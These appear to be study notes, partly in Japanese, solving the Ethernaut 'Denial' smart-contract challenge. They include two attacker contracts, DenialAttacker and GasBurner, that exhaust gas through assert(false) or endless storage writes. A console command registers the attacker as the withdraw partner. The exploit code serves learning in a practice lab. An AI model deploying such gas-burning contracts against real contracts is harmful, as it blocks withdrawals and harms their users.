✅ have to set the max gas fee when using call & assert consumes all gas

partner.call{value:amountToSend}("");

invoke the receive method of evil contract

Since writing to storage is one of the most expensive operations, I will chose it for exhausting the gas in the malicious GasBurner:

Contrary to revert and require, the assert instruction consumes all gas.

contract DenialAttacker {
    fallback() external payable {
      // assert consumes all (!) gas
      assert(false);
    }
}

await contract.setWithdrawPartner('<gas-DenialAttacker-address>')

Another answer

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract GasBurner {
    uint256 n;

    function burn() internal {
        while (gasleft() > 0) {
            n += 1;
        }
    }

    receive() external payable {
        burn();
    }
}

callの予備元を変更されると弱いのよね

partnerっていうaddressを変更されて、そこのcallが呼ばれた際にfallbackやらがよばれる

addressに対してetherが来たときに使える

‣

fallback func ⇒ If there is no signature of function, fallback function is executing

また、コントラクトがEtherを受け取る時にも呼ばれる

Error Assert Require